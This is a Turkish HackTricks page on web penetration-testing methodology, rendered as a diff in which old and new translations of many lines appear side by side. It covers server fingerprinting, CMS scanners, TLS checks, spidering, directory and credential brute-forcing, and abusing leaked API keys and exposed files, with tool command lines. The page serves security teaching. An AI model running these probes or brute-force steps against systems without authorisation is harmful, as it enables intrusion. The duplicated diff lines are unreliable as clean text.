# 80,443 - Pentesting Web Metodolojisi
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -51,12 +51,12 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] **Web sunucusu** tarafından kullanılan **teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın.
* [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı?
* [ ] Herhangi bir **iyi bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **yararlı ipucu** var mı?
* [ ] Çalıştırılacak herhangi bir **özel tarayıcı** var mı (örneğin wpscan)?
* [ ] Çalıştırılacak herhangi bir **uzman tarayıcı** var mı (örneğin wpscan)?
* [ ] **Genel amaçlı tarayıcıları** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz.
* [ ] **Başlangıç kontrolleri** ile başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise).
* [ ] **İlk kontrollerle** başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise).
* [ ] Web sayfasını **spidering** yapmaya başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin.
* [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de spidering yapılmalıdır._
* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force ile yeni **dosyalar** ve **dizinler** arayın.
* [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force ile yeni **dosyalar** ve **dizinler** arayarak deneyin.
* [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de Brute-Forced yapılmalıdır._
* [ ] **Yedek kontrolü**: Ortaya çıkan **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek.
* [ ] **Brute-Force parametreleri**: **Gizli parametreleri** bulmaya çalışın.
@ -65,10 +65,10 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## Sunucu Sürümü (Zafiyetli mi?)
### Belirleme
### Belirle
Çalışan sunucu **sürümü** için **bilinen zafiyetler** olup olmadığını kontrol edin.\
**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da yararlı olabilir:**
Çalışan sunucu **sürümü** için herhangi bir **bilinen zafiyet** olup olmadığını kontrol edin.\
**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -119,19 +119,19 @@ Farklı iyi bilinen **teknolojilerde** **açıkları** **bulmak** için bazı **
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS'den RCE'ye)**](electron-desktop-apps/)
_Dikkate al ki **aynı alan** farklı **portlar**, **klasörler** ve **alt alanlar** içinde **farklı teknolojiler** kullanıyor olabilir._\
Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **İnternette** yeni hileler **aramayı** unutma (ve bana haber ver!).
_Dikkate alın ki **aynı alan** farklı **portlar**, **klasörler** ve **alt alanlar** içinde **farklı teknolojiler** kullanıyor olabilir._\
Eğer web uygulaması daha önce listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, **İnternette** yeni hileler **aramayı** unutmayın (ve bana bildirin!).
### Kaynak Kodu İncelemesi
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başına bir Beyaz kutu testi** yapmanın yanı sıra, mevcut **Siyah Kutu testi** için **bazı bilgiler** **yararlı** olabilir:
Eğer uygulamanın **kaynak kodu** **github**'da mevcutsa, uygulamanın **kendi başınıza bir Beyaz kutu testi** yapmanın yanı sıra mevcut **Siyah Kutu testi** için **bazı bilgiler** **yararlı** olabilir:
* **Değişiklik günlüğü veya Readme veya Sürüm** dosyası veya web üzerinden erişilebilen **sürüm bilgisi** içeren herhangi bir şey var mı?
* **Kimlik bilgileri** nasıl ve nerede saklanıyor? **Kimlik bilgileri** (kullanıcı adları veya şifreler) ile ilgili herhangi bir (erişilebilir?) **dosya** var mı?
* **Şifreler** **düz metin**, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor?
* Bir şeyi şifrelemek için herhangi bir **anahtar** kullanıyor mu? Hangi **algoritma** kullanılıyor?
* Bir açığı sömürerek **bu dosyalara erişebilir misin**?
* **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Ya da **commit geçmişinde** (belki eski bir commit içinde bazı **şifreler** girişi)?
* Herhangi bir açığı sömürerek **bu dosyalara erişebilir misiniz**?
* **Github'da** (çözülen ve çözülmeyen) **sorularda** herhangi bir **ilginç bilgi** var mı? Yoksa **commit geçmişinde** (belki eski bir commit içinde **girilmiş bir şifre**) mi?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@ -166,13 +166,13 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> Bu noktada, istemci tarafından kullanılan web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz.
> Bu noktada, müşterinin kullandığı web sunucusu hakkında bazı bilgilere sahip olmalısınız (eğer herhangi bir veri verilmişse) ve test sırasında aklınızda bulundurmanız gereken bazı ipuçları. Şanslıysanız, bir CMS bulmuş ve bazı tarayıcılar çalıştırmış olabilirsiniz.
## Adım adım Web Uygulaması Keşfi
## Adım Adım Web Uygulaması Keşfi
> Bu noktadan itibaren web uygulamasıyla etkileşime geçmeye başlayacağız.
### İlk kontroller
### İlk Kontroller
**İlginç bilgiler içeren varsayılan sayfalar:**
@ -183,28 +183,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
* /.well-known/
* Ana ve ikincil sayfalardaki yorumları da kontrol edin.
**Hataları zorlamak**
**Hataları Zorlamak**
Web sunucuları, onlara garip veriler gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **açıklara** veya **hassas bilgilerin ifşasına** yol açabilir.
* /whatever\_fake.php gibi **sahte sayfalara** erişin (.aspx, .html, vb.)
* **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]" ve "\[\["** ekleyin
* **Hata oluşturmak için** **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyin
* **URL'nin** **sonuna** **`/~randomthing/%s`** vererek hata oluşturun
* PATCH, DEBUG veya FAKE gibi **farklı HTTP Fiilleri** deneyin
#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)**
Eğer **WebDav** **etkinse** ancak kök klasörde **dosya yüklemek için** yeterli izinleriniz yoksa şunları deneyin:
Eğer **WebDav** **etkinse** ama kök klasörde **dosya yüklemek için** yeterli izniniz yoksa şunları deneyin:
* **Kaba kuvvet** ile kimlik bilgilerini denemek
* WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yüklemek**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
* **Kaba Kuvvet** ile kimlik bilgilerini kırmaya çalışın
* WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yükleyin**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir.
### **SSL/TLS açıklıkları**
* Uygulama, herhangi bir yerde HTTPS kullanıcısını **zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
* Uygulama, **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**. O zaman bu yüksek bir açıklıktır.
* Eğer uygulama **HTTPS kullanımını zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır**
* Eğer uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açıklıktır.
**Açıkları kontrol etmek için** [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür açıklıklar kabul edilmeyecektir) ve açıklıkları yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
**Açıkları** kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür açıklıklar kabul edilmeyecektir) ve açıklıkları yeniden kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -218,41 +218,41 @@ Bilgi SSL/TLS zafiyetleri hakkında:
* [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/)
* [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/)
### Tarama
### Spidering
Web içinde bir tür **tarayıcı** başlatın. Tarayıcının amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve dış kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır.
Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve harici kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML tarayıcı, JS dosyalarındaki LinkFinder ve dış kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML tarayıcı, JS dosyaları için LinkFinder ve dış kaynak olarak Archive.org ile.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML tarayıcı, ayrıca "lezzetli dosyaları" gösterir.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML tarayıcı. Ayrıca Archive.org'da arama yapar.
* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir tarayıcı değildir ama faydalı olabilir. Sadece bir dosya ile ana bilgisayarları ve bir dosya ile yolları belirtebilirsiniz ve meg her ana bilgisayardaki her yolu alır ve yanıtı kaydeder.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS işleme yeteneklerine sahip HTML tarayıcı. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
* [**gau**](https://github.com/lc/gau) (go): Dış sağlayıcıları (wayback, otx, commoncrawl) kullanan HTML tarayıcı.
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu betik, parametre içeren URL'leri bulacak ve listeleyecektir.
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS işleme yeteneklerine sahip HTML tarayıcı.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML tarayıcı, JS dosyalarında yeni yollar arayabilen JS güzelleştirme yetenekleri ile. [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, bilgi güvenliği ninja'ları için faydalıdır.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 betiği. AJAX isteklerini kolayca keşfetmek için faydalıdır. Bakımsız görünüyor.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, çirkin (minify) dosyalardan göreli URL'leri bulmak ve çıkarmak için şık bir düzenli ifade kullanır.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar.
* [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hosttaki her yolu alır ve yanıtı kaydeder.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS renderleme yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor.
* [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML spider.
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script, parametre içeren URL'leri bulacak ve listeleyecektir.
* [**galer**](https://github.com/dwisiswant0/galer) (go): JS renderleme yeteneklerine sahip HTML spider.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar arayabilen JS beautify yetenekleri ile. [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, infosec ninja'ları için faydalı.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) göreli URL'leri bulmak için şık bir düzenli ifade kullanarak çıkarır.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): JS dosyalarından ilginç bilgiler toplamak için çeşitli araçlar kullanır.
* [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Başsız bir tarayıcıda bir sayfayı yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini birleştiren içerik keşif aracı.
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında yol ve parametre bulmak için bir Burp uzantısı.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile güzelleştirilmiş JS kodunu alacak bir araç.
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile size güzelleştirilmiş JS kodunu alacak bir araç.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araç.
* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirip daha fazla bağlantı arayın).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Formları doldurarak tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcı/Tarayıcıdır.
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun.
* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, sırları ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice).
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, özelleştirilmiş kelime listeleri oluşturmak için istekten parametreleri ve uç noktaları **çıkarmak için** basit bir **Burp Suite uzantısıdır**.
* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, **fuzzing** ve **enumeration** için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları **çıkarmak için** basit bir **Burp Suite uzantısıdır**.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç.
* [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır.
### Kaba Kuvvet dizinleri ve dosyaları
### Brute Force dizinleri ve dosyaları
Kök klasörden **kaba kuvvet** işlemine başlayın ve **bu yöntemle bulunan** **tüm dizinleri** ve **Tarama** ile **keşfedilen** dizinleri kaba kuvvetle zorlayın (bu kaba kuvvet işlemini **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
Kök klasörden **brute-forcing**'e başlayın ve **bu yöntemle bulunan** **tüm dizinleri** ve **Spidering** ile **keşfedilen** dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\
Araçlar:
* **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş.
@ -261,9 +261,9 @@ Araçlar:
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli aramayı destekler.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir tarayıcı değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
* [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizinler oluşturmak için Burp Uzantısı.
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Benzer işlevselliğe sahip URL'leri kaldırır (js içe aktarımlarına dayanarak).
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Tekrarlanan işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı).
* [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer.
**Tavsiye edilen sözlükler:**
@ -285,26 +285,26 @@ Araçlar:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Kaba kuvvetleme veya tarama sırasında yeni bir dizin keşfedildiğinde, bu dizin de Kaba Kuvvet ile zorlanmalıdır._
_Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin de Brute-Forced edilmelidir._
### Bulunan her dosyada kontrol edilecekler
* [**Kırık bağlantı kontrolörü**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki kırık bağlantıları bulun.
* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedekleme için yaygın adlandırma varyasyonları şunlardır: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
* **Yeni parametreler keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulun.
* **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm çalıştırılabilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedekleme için yaygın adlandırma varyasyonları: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.**
* **Yeni parametreler keşfedin**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gizli parametreleri keşfetmek için kullanılabilir. Mümkünse, her çalıştırılabilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.**
* _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz.
* Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyecek şekilde **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgiyi** web sayfasının **altında** bir yorumda **gizlemektir**.
* **API anahtarları**: Eğer **herhangi bir API anahtarı bulursanız**, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyecek şekilde **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve bilgiyi web sayfasının **altında** bir yorumda **gizlemektir**.
* **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz.
* **S3 Buckets**: Tarama sırasında herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini kontrol edin](buckets/).**
* **S3 Buckets**: Spidering yaparken herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini** kontrol edin](buckets/).
### Özel bulgular
**Tarama** ve **kaba kuvvetleme** sırasında **ilginç** **şeyler** bulabilirsiniz, bunları **not etmelisiniz**.
**Spidering** ve **brute-forcing** yaparken, **dikkat etmeniz gereken** **ilginç** **şeyler** bulabilirsiniz.
**İlginç dosyalar**
@ -312,14 +312,14 @@ _Kaba kuvvetleme veya tarama sırasında yeni bir dizin keşfedildiğinde, bu di
* [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md)
* Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir.
* Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzerler".
* **JS dosyaları**: Tarama bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)** kullanabilirsiniz.**
* Ayrıca, keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz.
* **JS dosyaları**: Spidering bölümünde JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz.
* Ayrıca keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz.
